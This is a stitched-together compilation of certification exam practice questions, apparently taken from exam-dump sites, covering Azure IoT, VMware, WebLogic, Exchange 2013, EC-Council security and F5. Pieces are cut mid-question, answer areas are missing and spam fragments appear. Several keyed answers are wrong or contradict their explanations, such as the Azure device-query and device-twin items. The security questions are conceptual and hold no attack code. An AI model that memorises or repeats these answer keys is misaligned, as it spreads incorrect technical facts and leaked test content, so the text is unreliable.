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Microsoft Azure AZ-220 Exam Practice Questions

QUESTION 1
You have three Azure IoT hubs named Hub1, Hub2, and Hub3, a Device Provisioning Service instance, and an IoT
device named Device1.
Each IoT hub is deployed to a separate Azure region.
Device enrollment uses the Lowest latency allocation policy.
The Device Provisioning Service uses the Lowest latency allocation policy.
Device1 is auto-provisioned to Hub1 by using the Device Provisioning Service.
Device1 regularly moves between regions.
You need to ensure that Device1 always connects to the IoT hub that has the lowest latency.
What should you do?
A. Configure device attestation that uses X.509 certificates.
B. Implement device certificate rolling.
C. Disenroll and reenroll Device1.
D. Configure the re-provisioning policy.
Correct Answer: D
Automated re-provisioning support.
Microsoft added first-class support for device re-provisioning which allows devices to be reassigned to a different IoT
solution sometime after the initial solution assignment. Re-provisioning support is available in two options:
Factory reset, in which the device twin data for the new IoT hub is populated from the enrollment list instead of the old
IoT hub. This is common for factory reset scenarios as well as leased device scenarios.
Migration, in which device twin data is moved from the old IoT hub to the new IoT hub. This is common for scenarios in
which a device is moving between geographies.
Reference:
https://azure.microsoft.com/en-us/blog/new-year-newly-available-iot-hub-device-provisioning-service-features/

QUESTION 2
You have 1,000 devices that connect to an Azure IoT hub.
You are performing a scheduled check of deployed IoT devices.
You plan to run the following command from the Azure CLI prompt.
az iot hub query –hub-name hub1 –query-command “SELECT * FROM devices WHERE connectionState = \\’Disconnected\\'”
What does the command return?
A. the Device Disconnected events
B. the device twins
C. the Connections logs
D. the device credentials
Correct Answer: A
The IoT Hub publishes Microsoft.Devices.DeviceDisconnected event type, which is published when a device is
disconnected from an IoT hub.
Reference: https://docs.microsoft.com/en-us/azure/iot-hub/iot-hub-event-grid#event-types

QUESTION 3
You have an Azure IoT hub.
You need to recommend a solution to scale the IoT hub automatically.
What should you include in the recommendation?
A. Create an SMS alert in IoT Hub for the Total number of messages used metric.
B. Create an Azure function that retrieves the quota metrics of the IoT hub.
C. Configure autoscaling in Azure Monitor.
D. Emit custom metrics from the IoT device code and create an Azure Automation runbook alert.
Correct Answer: B
Note: IoT Hub is scaled and priced based on an allowed number of messages per day across all devices connected to
that IoT Hub. If you exceed the allowed message threshold for your chosen tier and number of units, IoT Hub will begin
rejecting new messages. To date, there is no built-in mechanism for automatically scaling an IoT Hub to the next level of
capacity if you approach or exceed that threshold.
Reference: https://docs.microsoft.com/en-us/samples/azure-samples/iot-hub-dotnet-autoscale/iot-hub-dotnet-autoscale/

QUESTION 4
You have 10,000 IoT devices that connect to an Azure IoT hub. The devices do not support over-the-air (OTA) updates.
You need to decommission 1,000 devices. The solution must prevent connections and autoenrollment for the
decommissioned devices.
Which two actions should you perform? Each correct answer presents part of the solution.
NOTE: Each correct selection is worth one point.
A. Update the connectionState device twin property on all the devices.
B. Blacklist the X.509 root certification authority (CA) certificate for the enrollment group.
C. Delete the enrollment entry for the devices.
D. Remove the identity certificate from the hardware security module (HSM) of the devices.
E. Delete the device identity from the device registry of the IoT hub.
Correct Answer: BC
B: X.509 certificates are typically arranged in a certificate chain of trust. If a certificate at any stage in a chain becomes
compromised, trust is broken. The certificate must be blacklisted to prevent Device Provisioning Service from
provisioning devices downstream in any chain that contains that certificate.
C: Individual enrollments apply to a single device and can use either X.509 certificates or SAS tokens (in a real or virtual
TPM) as the attestation mechanism. (Devices that use SAS tokens as their attestation mechanism can be provisioned
only through an individual enrollment.) To blacklist a device that has an individual enrollment, you can either disable or
delete its enrollment entry.
To blacklist a device that has an individual enrollment, you can either disable or delete its enrollment entry.
Reference: https://docs.microsoft.com/en-us/azure/iot-dps/how-to-revoke-device-access-portal

QUESTION 5
You develop a custom Azure IoT Edge module named temperature-module.
You publish temperature-module to a private container registry named mycr.azurecr.io
You need to build a deployment manifest for the IoT Edge device that will run temperature-module.
Which three container images should you define in the manifest? Each correct answer presents part of the solution.
NOTE: Each correct selection is worth one point.
A. mcr.microsoft.com/azureiotedge-simulated-temperature-sensor:1.0
B. mcr.microsoft.com/azureiotedge-agent:1.0
C. mcr.microsoft.com/iotedgedev:2.0
D. mycr.azurecr.io/temperature-module:latest
E. mcr.microsoft.com/azureiotedge-hub:1.0
Correct Answer: BDE
Each IoT Edge device runs at least two modules: $edgeAgent and $edgeHub, which are part of the IoT Edge runtime.
IoT Edge device can run multiple additional modules for any number of processes. Use a deployment manifest to tell
your device which modules to install and how to configure them to work together.
Reference: https://docs.microsoft.com/en-us/azure/iot-edge/module-composition

QUESTION 6
You have 10 IoT devices that connect to an Azure IoT hub named Hub1.
From Azure Cloud Shell, you run az iot hub monitor-events –hub-name Hub1 and receive the following error message:
“az iot hub: \\’monitor-events\\’ is not in the \\’az iot hub\\’ command group. See \\’az iot hub –help\\’.”
You need to ensure that you can run the command successfully.
What should you run first?
A. az iot hub monitor-feedback –hub-name Hub1
B. az iot hub generate-sas-token –hub-name Hub1
C. az iot hub configuration list –hub-name Hub1
D. az extension add -name azure-cli-iot-ext
Correct Answer: D
Execute az extension add –name azure-cli-iot-ext once and try again.
In order to read the telemetry from your hub by CLI, you have to enable IoT Extension with the following commands:
Add: az extension add –name azure-cli-iot-ext
Reference: https://github.com/MicrosoftDocs/azure-docs/issues/20843

QUESTION 7
You have an Azure IoT hub that is being taken from prototype to production.
You plan to connect IoT devices to the IoT hub. The devices have hardware security modules (HSMs).
You need to use the most secure authentication method between the devices and the IoT hub. Company policy
prohibits the use of internally generated certificates.
Which authentication method should you use?
A. an X.509 self-signed certificate
B. a certificate thumbprint
C. a symmetric key
D. An X.509 certificate signed by a root certification authority (CA).
Correct Answer: D
Purchase X.509 certificates from a root certificate authority (CA). This method is recommended for production
environments.
The hardware security module, or HSM, is used for secure, hardware-based storage of device secrets, and is the most
secure form of secret storage. Both X.509 certificates and SAS tokens can be stored in the HSM
Reference:
https://docs.microsoft.com/en-us/azure/iot-dps/concepts-security

QUESTION 8
You have an Azure IoT solution that includes an Azure IoT Hub named Hub1 and an Azure IoT Edge device named
Edge1. Edge1 connects to Hub1.
You need to deploy a temperature module to Edge1.
What should you do?
A. From the Azure portal, navigate to Hub1 and select IoT Edge. Select Edge1, and then select Manage Child Devices.
From a Bash prompt, run the following command: az iot edge set-modules -device-id Edge1 -hub-name Hub1 -content
C:\deploymentMan1.json
B. Create an IoT Edge deployment manifest that specifies the temperature module and the route to $upstream. From a
Bush prompt, run the following command: az iot hub monitor-events-device-id Edge1 -hub-name Hub1
C. From the Azure portal, navigate to Hub1 and select IoT Edge. Select Edge1, select Device Twin, and then set the
deployment manifest as a desired property. From a Bash prompt, run the following command az iot hub monitoreventsdevice-id Edge1 -hub-name Hub1
D. Create an IoT Edge deployment manifest that specifies the temperature module and the route to $upstream. From a
Bush prompt, run the following command: az iot edge set-modules -device-id Edge1 -hub-name Hub1 -content
C:\deploymentMan1.json
Correct Answer: D
You deploy modules to your device by applying the deployment manifest that you configured with the module
information.
Change directories into the folder where your deployment manifest is saved. If you used one of the VS Code IoT Edge
templates, use the deployment.json file in the config folder of your solution directory and not the
deployment.template.json
file.
Use the following command to apply the configuration to an IoT Edge device:
az iot edge set-modules –device-id –hub-name –content
Reference:
https://docs.microsoft.com/en-us/azure/iot-edge/how-to-deploy-modules-cli

QUESTION 9
DRAG DROP
You have an Azure IoT hub.
You plan to attach three types of IoT devices as shown in the following table.

You need to select the appropriate communication protocol for each device.
What should you select? To answer, drag the appropriate protocols to the correct devices. Each protocol may be used
once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view content.
NOTE: Each correct selection is worth one point.
Select and Place:

Correct Answer:

QUESTION 10
You have devices that connect to an Azure IoT hub. Each device has a fixed GPS location that includes latitude and
longitude.
You discover that a device entry in the identity registry of the IoT hub is missing the GPS location.
You need to configure the GPS location for the device entry. The solution must prevent the changes from being
propagated to the physical device.
Solution: You add the desired properties to the device twin.
Does the solution meet the goal?
A. Yes
B. No
Correct Answer: A
Device Twins are used to synchronize state between an IoT solution\\’s cloud service and its devices. Each device\\’s
twin exposes a set of desired properties and reported properties. The cloud service populates the desired properties
with values it wishes to send to the device. When a device connects it requests and/or subscribes for its desired
properties and acts on them.
Reference: https://azure.microsoft.com/sv-se/blog/deep-dive-into-azure-iot-hub-notifications-and-device-twin/

QUESTION 11
You are troubleshooting an Azure IoT hub.
You discover that some telemetry messages are dropped before they reach downstream processing.
You suspect that IoT Hub throttling is the root cause.
Which log in the Diagnostics settings of the IoT hub should you use to capture the throttling error events?
A. Routes
B. DeviceTelemetry
C. Connections
D. C2DCommands
Correct Answer: B
The device telemetry category tracks errors that occur at the IoT hub and are related to the telemetry pipeline. This
category includes errors that occur when sending telemetry events (such as throttling) and receiving telemetry events
(such as unauthorized reader). This category cannot catch errors caused by code running on the device itself.
Note: The metric d2c.telemetry.ingress.sendThrottle is the number of throttling errors due to device throughput throttles.
Reference: https://docs.microsoft.com/en-us/azure/iot-hub/iot-hub-monitor-resource-health

QUESTION 12
You have an Azure IoT solution that includes an Azure IoT hub, a Device Provisioning Service instance, and 1,000
connected IoT devices.
All the IoT devices are provisioned automatically by using one enrollment group.
You need to temporarily disable the IoT devices from the connecting to the IoT hub.
Solution: From the Device Provisioning Service, you disable the enrollment group, and you disable device entries in the
identity registry of the IoT hub to which the IoT devices are provisioned.
Does the solution meet the goal?
A. Yes
B. No
Correct Answer: A
You may find it necessary to deprovision devices that were previously auto-provisioned through the Device Provisioning
Service. In general, deprovisioning a device involves two steps:
1.
Disenroll the device from your provisioning service, to prevent future auto-provisioning. Depending on whether you
want to revoke access temporarily or permanently, you may want to either disable or delete an enrollment entry.
2.
Deregister the device from your IoT Hub, to prevent future communications and data transfer. Again, you can
temporarily disable or permanently delete the device\\’s entry in the identity registry for the IoT Hub where it was
provisioned.
Reference: https://docs.microsoft.com/bs-latn-ba/azure/iot-dps/how-to-unprovision-devices

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QUESTION 1
When importing machines into vRealize Automation, how is the list of machines populated into the CSV file?
A. Through an inventory object in vRealize Orchestrator
B. Manually by the administrator
C. Through data collection on the endpoint
D. Directly from vSphere inventory through API
Correct Answer: B
Reference: https://www.helloitscraig.co.uk/2015/08/migrating-vrealize-automation-machine.html

QUESTION 2
Which option in a composite blueprint\\’s settings allows an architect to modify the CPU and memory limits of
provisioned virtual machines?
A. Increase number of instances
B. Propagate updates to existing deployments
C. Make available as a component in the design canvas
D. Make provisioned resources scalable
Correct Answer: D

QUESTION 3
A vRealize Automation administrator wants to join provisioned Windows machines to Active Directory organization units
based on a users\\’ business group membership. What are two ways an administrator can use to specify the
organizational unit? (Choose two.)
A. Custom properties
B. Active Directory Group Policy
C. Active Directory AD: Computer Custom Resource
D. Access policies
E. vRealize Automation Active Directory policies
Correct Answer: AE

QUESTION 4
What is the minimum supported key length that can be used in vRealize Automation SSL certificates?
A. 4096 bits
B. 1024 bits
C. 2048 bits
D. 512 bits
Correct Answer: C
Reference: https://docs.vmware.com/en/vRealize-Automation/7.5/com.vmware.vra.install.upgrade.doc/GUIDB9B2BA2D-B57B-4963-87BE-4939C20C4693.html

QUESTION 5
An administrator needs to configure a blueprint to provision OVF machines from an external HTTP server where the
OVF resides. Which two steps should the administrator take to provision the OVF machines? (Choose two.)
A. Configure the provisioning workflow settings as ImportOvfWorkflow.
B. Specify customization specification.
C. Specify the URL location of the OVF file present.
D. Run data collection.
E. Run the OVF directly from vCenter.
Correct Answer: AB

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QUESTION 1
What two steps would an administrator take to troubleshoot iOS devices that are not communicating with the console?
(Choose two.)
A. Confirm that DEP is enabled
B. Confirm that the iOS devices have network connection
C. Confirm that AWCM is running
D. Confirm that the VPP token is valid
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QUESTION 2
What profile configuration is required in Workspace ONE UEM to implement Android Mobile SSO?
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Correct Answer: D
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Which method can an administrator use to deploy the VMware Unified Access Gateway (UAG) appliance for use as a
Workspace ONE VMware Tunnel?
A. Manual install to a Linux Server
B. Manual install to a Windows Server
C. Powershell install to a Windows Server
D. Powershell install to vSphere
Correct Answer: B
Reference: https://docs.vmware.com/en/Unified-Access-Gateway/3.3.1/com.vmware.uag-331-deployconfig.doc/GUID-8B96F385-ADE5-4502-8485-6269EE41D222.html

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Through which does Workspace One Access collect Workspace ONE UEM entitlements?
A. SAML
B. API
C. PowerShell
D. device Services
Correct Answer: B

QUESTION 5
An administrator is implementing Kerberos to support integrated windows authentication and needs to ensure the
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A. Configure the connectors for outbound mode and enable Kerberos in the built-in Idp.
B. Change the IdP hostname to the Service Principle name of the KDC.
C. Enable redirect on each connector and specify the connector\\’s host name.
D. Change the IdP hostname to the fully qualified domain name of the load balancer.
E. Enable redirect on each connector and specify the fully qualified domain name of the load balancer.
Correct Answer: AC
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Q&As: 182
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QUESTION 11
Your application requirements include accessing a legacy mainframe application with native communication protocols. The legacy system must be accessible from J2EE and Net servers. To do this most effectively, you would use a product based on which specification?
A. J2CA
B. JDBC
C. RMI/IIOP
D. Web Services
E. Java to CORBA bridge

Correct Answer: D
QUESTION 12
Within a Service -Oriented Architecture, service version are bound to consumer through the;
A. UDDI Server
B. Service Policy
C. Connectivity Layer
D. Services Directory
E. Orchestration Layer

Correct Answer: B
QUESTION 13
When considering distributed transactions and the two phase commit protocol which of the following statements is NOT true?
A. WebLogic SERVER DOES NOT SUPPORT NESTED TRANSACTIONS
B. WebLogic SERVER ALLOWS TRANSACTIONS TO BE terminated only by the client that created the transaction
C. Recovering transactions for a failed WebLogic server instance requires a weblogic cluster configuration
D. A heuristic decision occurs when any XA resource makes a unilateral decision during the completion phase
E. By default, the Transaction Manager will continue to complete the transaction during the second phase for up to 24 hours

Correct Answer: C
QUESTION 14
Within the WebLogic Platform environment, which of these events are NOT part the of the Application Lifecycle when re-deploying an application and when the debug flags are set?
A. preStart
B. postStop
C. postStart
D. completed
E. inialization

Correct Answer: D
QUESTION 15
When designing a Service-Oriented Architecture you plan to provide Services Management capabilities. Primarily Services Management includes:
A. The Message Broker
B. Java Control tracking
C. Business Process instances
D. Security implementation Details
E. Service registration and discovery

Correct Answer: E
QUESTION 16
Which is the best approach for defining the same network configuration settings for multiple servers within a WebLogic domain?
A. Assign a Net Channel to each server in the domain.
B. Define a distributed destination and assign it to each server
C. Edit the domain’s config.xml file, ensuring that each server has the same network settings
D. Assign the configuration for each server in the domain using the WebLogic Administration Console
E. Define the configuration parameters in a subclass of weblogic.networl.NetworkConnection AND deploy the class on each server in the domain.

070-464 pdf Correct Answer: A
QUESTION 17
The Certkiller .com architecture has several legacy Tuxedo services that are used for XA transactions as well as overnight batch processing. You have determined that some of these services may need to have some new functionality added within its original source code. As you consider the development resources that will be needed, which Tuxedo programming language libraries provided to develop Tuxedo services?
A. C
B. C,C++
C. COBOL, C
D. COBOL, C, Perl
E. COBOL, C, Java

Correct Answer: C
QUESTION 18
Which of the following would NOT be a primary consideration when performing capacity for WebLogic Server application deployments?
A. The number of concurrent user sessions that may be required
B. The number of concurrent transactions that must be supported
C. The number of different JDBC driver types that may need to be used
D. The percentage of client requests using SSL to connect to WebLogic Server
E. The CPU usage requirements of other applications running on the same machine.

Correct Answer: C
QUESTION 19
Within a Service-Oriented Architecture, a Service Directory:
A. Provides Security details
B. Allows consumers to discover services
C. Specifies transport should be used for a service
D. Specifies how to authenticate users of a service
E. Specifies the level of encryption is required for a service.

Correct Answer: B
QUESTION 20
Which of the following is NOT a WebLogic Server Web Service feature?
A. A UDDI Registry and an implementation of the UDDI client
B. Support for both RPC-oriented and Document-oriented operations
C. Support for message-levl security with digital signatures and encryption
D. Support for asynchronous client invocation using reliable SOAP messaging
E. Support for most common SOAP transport protocols to include JMS, llOP,and RMl

Correct Answer: E
QUESTION 21
Which approach provides the best solution for dealing with Entity EJB data access granularity and Remote Method invocations?
A. Create a value object and pass the value object to each Entity method
B. Directly update the value of the persistent attribute, thus bypassing a call to the Entity EJB
C. Create a Stateless Session Bean faced, providing a more coarse-grained method invocation
D. Implement the value list pattern, restricting the amount of data that is passed and returned from the Entity EJB
E. Replace the Entity interface with a Session interface to improve performance yet maintaining the same EJB container functionality
Correct Answer: C
QUESTION 22
Within the WebLogic Platform environment a Portal application is:
A. A Web Service
B. A web application
C. An EJB application
D. A COMBINATION OF WEB APPLICATIONS, ejbS AND LIBRARIES, SEPARATELY DEPLOYED
E. A combination of web application, EJB s and libraries, deployed as an enterprise application

Correct Answer: E
QUESTION 23
WSRP is an attractive option for web development because it decouples the deployment and delivery of applications. WebLogic Platform allows for the creation of WSRP-enabled portles EXCEPT for which portles type?
A. Struts
B. Pageflow
C. HTTP Web Service
D. JSR 168 Java Portlet
E. JSP Portlets using a JPF

Correct Answer: C
QUESTION 24
You have determined that your Web Applications will be deployed to a WebLogic cluster for high availability . In orderto take advantage of HTTP session replication, which of the following is required?
A. All session data must be serializable
B. Replication Group must be configured
C. One member of the cluster must be used as the proxy server
D. All members of the cluster must be located within rhe same subnet
E. At least two cluster members must be running on separate machines

Correct Answer: A
QUESTION 25
Within a Service-Oriented Architecture, leveraging WSRP is most appropriate when:
A. Two Portals require a similar Look and Feel.
B. Asynchronous web services are being used
C. A web application requires secure transaction
D. A portlet is being resued in several different Portals.
E. Two Portal consumers require a different Look and Feel based on their profile

Correct Answer: D

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Exam Code: 70-341
Exam Name: Core Solutions of Microsoft Exchange Server 2013
Updated: May 29, 2017
Q&As: 204
Exam Information: https://www.pass4itsure.com/70-341.html

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Question No : 5 DRAG DROP – (Topic 1)
You are evaluating the implementation of a second Edge Transport server named EDGE2
in the Amsterdam office.
You need to recommend which tasks must be performed to ensure that email messages
can be sent by the organization if a single Edge Transport server fails.
Which three actions should you include in the recommendation?  To answer, move the three appropriate actions from the list of actions to the answer area
and arrange them in the correct order.

Question No : 6 – (Topic 1)  You need to recommend which type of group must be used to create the planned
department lists.
Which type of group should you recommend?
A. Universal Distribution
B. Dynamic Distribution
C. Global Security
D. Universal Security
Answer: A
Explanation:
There are two types of groups that can be used to distribute messages:
Mail-enabled universal distribution groups (also called distribution groups) can be used only
to distribute messages.
Mail-enabled universal security groups (also called security groups) can be used to
distribute messages as well as to grant access permissions to resources in Active  Directory. For more information, see Manage Mail-Enabled Security Groups.
A mail-enabled security group is an Active Directory universal security group object that
can be used to assign access permissions to resources in Active Directory and can also be
used to distribute messages.
It’s important to note the terminology differences between Active Directory and Exchange.
In Active Directory, a distribution group refers to any group that doesn’t have a security
context, whether it’s mail-enabled or not. In contrast, in Exchange, all mail-enabled groups
are referred to as distribution groups, whether they have a security context or not.
Dynamic Distribution Groups
Unlike regular distribution groups that contain a defined set of members, the membership
list for dynamic distribution groups is calculated each time a message is sent to the group,
based on the filters and conditions that you define. When an email message is sent to a
dynamic distribution group, it’s delivered to all recipients in the organization that match the
criteria defined for that group.
Manage Distribution Groups: Exchange Online Help

Question No : 7 – (Topic 1)  You need to recommend which tasks must be performed to meet the technical
requirements of the research and development (R&D) department.
Which two tasks should you recommend? (Each correct answer presents part of the
solution. Choose two.)
A. Create a new global address list (GAL) and a new address book policy.
B. Modify the permissions of the default global address list (GAL), and then create a new
GAL.
C. Run the Update AddressList cmdlet.
D. Run the Set-Mailbox cmdlet.
E. Create an OAB virtual directory.
Answer: A,D
Explanation:
NOT B
Need an address book policy  NOT C
Update AddressList cmdlet
Use the Update-AddressList cmdlet to update the recipients included in the address list that
you specify.
EXAMPLE 1
This example updates the recipients of the address list building4 and under the container
All Users\Sales.
Update-AddressList -Identity “All Users\Sales\building4”
NOT E
Will not resolve the issue
Need an address book policy and to assign this policy to users.
A
Address book policies (ABPs) allow you to segment users into specific groups to provide
customized views of your organization’s global address list (GAL).
When creating an ABP, you assign a GAL, an offline address book (OAB), a room list, and
one or more address lists to the policy.
You can then assign the ABP to mailbox users, providing them with access to a customized
GAL in Outlook and Outlook Web App.
The goal is to provide a simpler mechanism to accomplish GAL segmentation for on
premises organizations that require multiple GALs.
D
After you create an address book policy (ABP), you must assign it to mailbox users. Users
aren’t assigned a default ABP when their user account is created.
If you don’t assign an ABP to a user, the global address list (GAL) for your entire
organization will be accessible to the user through Outlook and Outlook Web App.
This example assigns the ABP All Fabrikam to the existing mailbox user
[email protected].
Set-Mailbox -Identity [email protected] -AddressBookPolicy “All Fabrikam”
Address Book Policies: Exchange Online Help
Set-Mailbox: Exchange 2013 Help

Question No : 8 – (Topic 1)

You are testing the planned implementation of Domain Security.
You discover that users fail to exchange domain-secured email messages.
You open the Exchange Management Shell and discover the output shown in the exhibit.
(Click the Exhibit button.)

You need to ensure that users can exchange email messages by using Domain Security.
Which two parameters should you modify by using the Set-SendConnector cmdlet? (Each
correct answer presents part of the solution. Choose two.)
A. tlsauthlevel
B. requiretls
C. ignorestarttls
D. tlsdomain
E. domainsecureenabled
F. smarthostauthmechanism
Answer: B,E
Explanation:
Domain Security
Domain Security is a feature of Exchange Server (both 2010 and 2013) that can secure
SMTP traffic between two Exchange organizations.
It is implemented on server level, and it works without configuring any options on user
(sender or recipient) side. Domain Security uses mutual TLS authentication to provide
session-based authentication and encryption.
Mutual TLS authentication is different from TLS as it’s usually implemented. Usually, when
you implement TLS, client will verify the server certificate, and authenticate the server,
before establishing a connection.
With mutual TLS authentication, each server verifies the connection with the other server
by validating a certificate that’s provided by that other server, so clients are not included at
all.
We establish secure SMTP channel between two Exchange Servers, usually over the
Internet.
Clients, Outlook and Outlook Web App, will be aware that Domain Security is established.
Green icon with check mark will be shown on each messages exchanged between servers
on which Domain
Security is implemented.
Set-SendConnector
Use the Set-SendConnector cmdlet to modify a Send connector.
EXAMPLE 1
This example makes the following configuration changes to the Send connector named
Contoso.com Send Connector:
Sets the maximum message size limit to 10 MB.
Changes the connection inactivity time-out to 15 minutes.
Set-SendConnector “Contoso.com Send Connector” -MaxMessageSize 10MB –
ConnectionInactivityTimeOut
00:15:00
PARAMETERS
Requiretls
The RequireTLS parameter specifies whether all messages sent through this connector
must be transmitted using TLS. The default value is $false.
Domainsecureenabled
The DomainSecureEnabled parameter is part of the process to enable mutual Transport
Layer Security (TLS) authentication for the domains serviced by this Send connector.
Mutual TLS authentication functions correctly only when the following conditions are met:
The value of the DomainSecureEnabled parameter must be $true.
The value of the DNSRoutingEnabled parameter must be $true.
The value of the IgnoreStartTLS parameter must be $false.
The wildcard character (*) is not supported in domains that are configured for mutual TLS
authentication. The same domain must also be defined on the corresponding Receive
connector and in the TLSReceiveDomainSecureList attribute of the transport configuration.
The default value for the DomainSecureEnabled parameter is $false for the following types
of Send connectors:
All Send connectors defined in the Transport service on a Mailbox server.
User-created Send connectors defined on an Edge server.
The default value for the DomainSecureEnabled parameter is $true for default Send
connectors defined on an Edge server.
NOT TLSAUTHLEVEL
The TlsAuthLevel parameter specifies the TLS authentication level that is used for
outbound TLS connections established by this Send connector. Valid values are:
EncryptionOnly: TLS is used only to encrypt the communication channel. No certificate
authentication is performed.
CertificateValidation: TLS is used to encrypt the channel and certificate chain validation
and revocation lists checks are performed.
DomainValidation: In addition to channel encryption and certificate validation, the Send
connector also verifies that the FQDN of the target certificate matches the domain specified
in the TlsDomain parameter. If no domain is specified in the TlsDomain parameter, the
FQDN on the certificate is compared with the recipient’s domain.
You can’t specify a value for this parameter if the IgnoreSTARTTLS parameter is set to
$true, or if the RequireTLS parameter is set to $false.
NOT ignorestarttls
The IgnoreSTARTTLS parameter specifies whether to ignore the StartTLS option offered
by a remote sending server.
This parameter is used with remote domains. This parameter must be set to $false if the
RequireTLS parameter is set to $true. Valid values for this parameter are $true or $false.
NOT tlsdomain The TlsDomain parameter specifies the domain name that the Send
connector uses to verify the FQDN of the target certificate when establishing a TLS
secured connection.
This parameter is used only if the TlsAuthLevel parameter is set to DomainValidation.
A value for this parameter is required if:
The TLSAuthLevel parameter is set to DomainValidation.
The DNSRoutingEnabled parameter is set to $false (smart host Send connector).
NOT smarthostauthmechanism
The SmartHostAuthMechanism parameter specifies the smart host authentication
mechanism to use for authentication with a remote server.
Use this parameter only when a smart host is configured and the DNSRoutingEnabled
parameter is set to $false.
Valid values are None, BasicAuth, BasicAuthRequireTLS, ExchangeServer, and
ExternalAuthoritative.
All values are mutually exclusive. If you select BasicAuth or BasicAuthRequireTLS, you
must use the AuthenticationCredential parameter to specify the authentication credential.
TLS Functionality and Related Terminology: Exchange 2013 Help

Question No : 9 HOTSPOT – (Topic 1)  You need to recommend which script the administrators must run to create the reports required to meet the technical requirements.
Which script should you recommend?
To answer, select the appropriate script in the answer area.

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QUESTION 1
You have successfully gained access to your client\\’s internal network and successfully comprised a Linux server which
is part of the internal IP network. You want to know which Microsoft Windows workstations have file sharing enabled.
Which port would you see listening on these Windows machines in the network?
A. 445
B. 3389
C. 161
D. 1433
Correct Answer: A
The following ports are associated with file sharing and server message block (SMB) communications: References:
https://support.microsoft.com/en-us/kb/298804

QUESTION 2
Which of the following guidelines or standards is associated with the credit card industry?
A. Control Objectives for Information and Related Technology (COBIT)
B. Sarbanes-Oxley Act (SOX)
C. Health Insurance Portability and Accountability Act (HIPAA)
D. Payment Card Industry Data Security Standards (PCI DSS)
Correct Answer: D

QUESTION 3
What is the role of test automation in security testing?
A. It can accelerate benchmark tests and repeat them with a consistent test setup. But it cannot replace manual testing
completely.
B. It is an option but it tends to be very expensive.
C. It should be used exclusively. Manual testing is outdated because of low speed and possible test setup
inconsistencies.
D. Test automation is not usable in security due to the complexity of the tests.
Correct Answer: A

QUESTION 4
Employees in a company are no longer able to access Internet web sites on their computers. The network administrator
is able to successfully ping IP address of web servers on the Internet and is able to open web sites by using an IP
address in place of the URL. The administrator runs the nslookup command for www.eccouncil.org and receives an
error message stating there is no response from the server. What should the administrator do next?
A. Configure the firewall to allow traffic on TCP ports 53 and UDP port 53.
B. Configure the firewall to allow traffic on TCP ports 80 and UDP port 443.
C. Configure the firewall to allow traffic on TCP port 53.
D. Configure the firewall to allow traffic on TCP port 8080.
Correct Answer: A

QUESTION 5
What port number is used by LDAP protocol?
A. 110
B. 389
C. 464
D. 445
Correct Answer: B

QUESTION 6
What is the way to decide how a packet will move from an untrusted outside host to a protected inside that is behind a
firewall, which permits the hacker to determine which ports are open and if the packets can pass through the packetfiltering of the firewall?
A. Firewalking
B. Session hijacking
C. Network sniffing
D. Man-in-the-middle attack
Correct Answer: A

QUESTION 7
A security consultant decides to use multiple layers of anti-virus defense, such as end user desktop anti-virus and Email gateway. This approach can be used to mitigate which kind of attack?
A. Forensic attack
B. ARP spoofing attack
C. Social engineering attack
D. Scanning attack
Correct Answer: C

QUESTION 8
Bob, a network administrator at BigUniversity, realized that some students are connecting their notebooks in the wired
network to have Internet access. In the university campus, there are many Ethernet ports available for professors and
authorized visitors but not for students.
He identified this when the IDS alerted for malware activities in the network.
What should Bob do to avoid this problem?
A. Disable unused ports in the switches
B. Separate students in a different VLAN
C. Use the 802.1x protocol
D. Ask students to use the wireless network
Correct Answer: C

QUESTION 9
The chance of a hard drive failure is once every three years. The cost to buy a new hard drive is $300. It will require 10
hours to restore the OS and software to the new hard disk. It will require a further 4 hours to restore the database from
the last backup to the new hard disk. The recovery person earns $10/hour. Calculate the SLE, ARO, and ALE. Assume
the EF = 1 (100%).
What is the closest approximate cost of this replacement and recovery operation per year?
A. $146
B. $1320
C. $440
D. $100
Correct Answer: A
The annualized loss expectancy (ALE) is the product of the annual rate of occurrence (ARO) and the single loss
expectancy (SLE).
Suppose than an asset is valued at $100,000, and the Exposure Factor (EF) for this asset is 25%. The single loss expectancy (SLE) then, is 25% * $100,000, or $25,000. In our example the ARO is 33%, and the SLE is 300+14*10 (as
EF=1).
The ALO is thus:
33%*(300+14*10) which equals 146.
References: https://en.wikipedia.org/wiki/Annualized_loss_expectancy

QUESTION 10
In the field of cryptanalysis, what is meant by a “rubber-hose” attack?
A. Attempting to decrypt cipher text by making logical assumptions about the contents of the original plain text.
B. Extraction of cryptographic secrets through coercion or torture.
C. Forcing the targeted key stream through a hardware-accelerated device such as an ASIC.
D. A backdoor placed into a cryptographic algorithm by its creator.
Correct Answer: B

QUESTION 11
While performing online banking using a Web browser, Kyle receives an email that contains an image of a well-crafted
art. Upon clicking the image, a new tab on the web browser opens and shows an animated GIF of bills and coins being
swallowed by a crocodile. After several days, Kyle noticed that all his funds on the bank was gone. What Web browserbased security vulnerability got exploited by the hacker?
A. Clickjacking
B. Web Form Input Validation
C. Cross-Site Request Forgery
D. Cross-Site Scripting
Correct Answer: C

QUESTION 12
One advantage of an application-level firewall is the ability to:
A. filter packets at the network level.
B. filter specific commands, such as http:post.
C. retain state information for each packet.
D. monitor tcp handshaking.
Correct Answer: B

QUESTION 13
One of the Forbes 500 companies has been subjected to a large scale attack. You are one of the shortlisted pen testers
that they may hire. During the interview with the CIO, he emphasized that he wants to totally eliminate all risks. What is
one of the first things you should do when hired?
A. Interview all employees in the company to rule out possible insider threats.
B. Establish attribution to suspected attackers.
C. Explain to the CIO that you cannot eliminate all risk, but you will be able to reduce risk to acceptable levels.
D. Start the Wireshark application to start sniffing network traffic.
Correct Answer: C

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Exam Name:	Application Delivery Fundamentals
Vendor Name:	F5
Exam Code:	101
Questions with Answers (PDF)	460
Updated:	Apr 20, 2020

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QUESTION 1
Which three are GTM server dynamic load balancing modes? (Choose three.)
A. Packet Rate
B. Virtual Server Score
C. CPU
D. Fallback IP
E. Ratio
Correct Answer: ABC
The Global Traffic Manager supports the following dynamic load balancing modes: Completion Rate CPU Hops
Kilobytes/Second Least Connections Packet Rate Quality of Service (QoS) Round Trip Times (RTT) Virtual Server
Score VS Capacity

QUESTION 2
ARX will detect any modification to a file on the second tier because all clients are being _______ by the ARX to get to
the storage.
A. Moved
B. Copied
C. Proxied
D. Backed up
E. Deleted
Correct Answer: C

QUESTION 3
Which of the following is a benefit of using iRules?
A. They provide a secure connection between a client and LTM
B. They enable granular control of traffic
C. They can be used as templates for creating new applications
D. They can use Active Directory to authenticate and authorize users
E. They provide an automated way to create LTM objects
Correct Answer: B

QUESTION 4
